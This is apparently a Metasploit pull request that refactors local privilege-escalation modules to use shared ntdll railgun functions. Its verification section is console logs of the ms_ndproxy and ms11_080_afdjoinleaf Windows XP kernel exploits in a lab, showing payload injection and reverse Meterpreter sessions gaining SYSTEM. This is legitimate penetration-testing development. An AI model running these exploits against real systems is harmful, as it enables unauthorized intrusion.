Use new ntdll railgun functions

Short history, @zeroSteiner added some functions to railgun, from ntdll, here: #2758

So has no sense which some modules still try to add them by themselves.

Verification
=========

- [ ] Get a session on any vulnerable machine to any of the modified exploits.
- [ ] Run the module on the session
- [ ] You should be enjoying a new SYSTEM session.

Verification is attached for ms11_080_afdjoinleaf and ms_ndproxy

* ms_ndproxy

```
msf exploit(ms_ndproxy) > set session 1
session => 1
msf exploit(ms_ndproxy) > exploit

[*] Started reverse handler on 192.168.172.1:4444 
[*] Detecting the target system...
[*] Running against Windows XP SP3
[*] Checking device...
[+] \\.\NDProxy found!
[*] Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...
[+] Addresses successfully disclosed.
[*] Storing the kernel stager on memory...
[+] Kernel stager successfully stored at 0x1000
[*] Storing the trampoline to the kernel stager on memory...
[+] Trampoline successfully stored at 0x1
[*] Storing the IO Control buffer on memory...
[+] IO Control buffer successfully stored at 0xd0d0000
[*] Triggering the vulnerability, corrupting the HalDispatchTable...
[*] Executing the Kernel Stager throw NtQueryIntervalProfile()...
[*] Checking privileges after exploitation...
[+] Exploitation successful! Creating a new process and launching payload...
[*] Injecting 290 bytes into 3804 memory and executing it...
[*] Sending stage (769024 bytes) to 192.168.172.244
[+] Enjoy
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.244:1045) at 2013-12-13 16:04:04 -0600

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
eComputer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

```

* ms11_080_afdjoinleaf

```
msf exploit(ms11_080_afdjoinleaf) > set session 3
session => 3
msf exploit(ms11_080_afdjoinleaf) > exploit

[*] Started reverse handler on 10.6.0.165:4444 
[*] Running against Windows XP SP2 / SP3
[*] Kernel Base Address: 0x804d7000
[*] HalDisPatchTable Address: 0x80545838
[*] HaliQuerySystemInformation Address: 0x806e6bba
[*] HalpSetSystemInformation Address: 0x806e9436
[*] 192.168.172.244 - Meterpreter session 1 closed.  Reason: Died

[*] Triggering AFDJoinLeaf pointer overwrite...
[*] Injecting the payload into SYSTEM process: winlogon.exe PID: 636
[*] Writing 290 bytes at address 0x00a30000
[*] Sending stage (769024 bytes) to 10.6.0.165
[*] Restoring the original token...
[*] Meterpreter session 4 opened (10.6.0.165:4444 -> 10.6.0.165:57280) at 2013-12-13 16:05:42 -0600

meterpreter > 
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.244 - Meterpreter session 4 closed.  Reason: User exit
```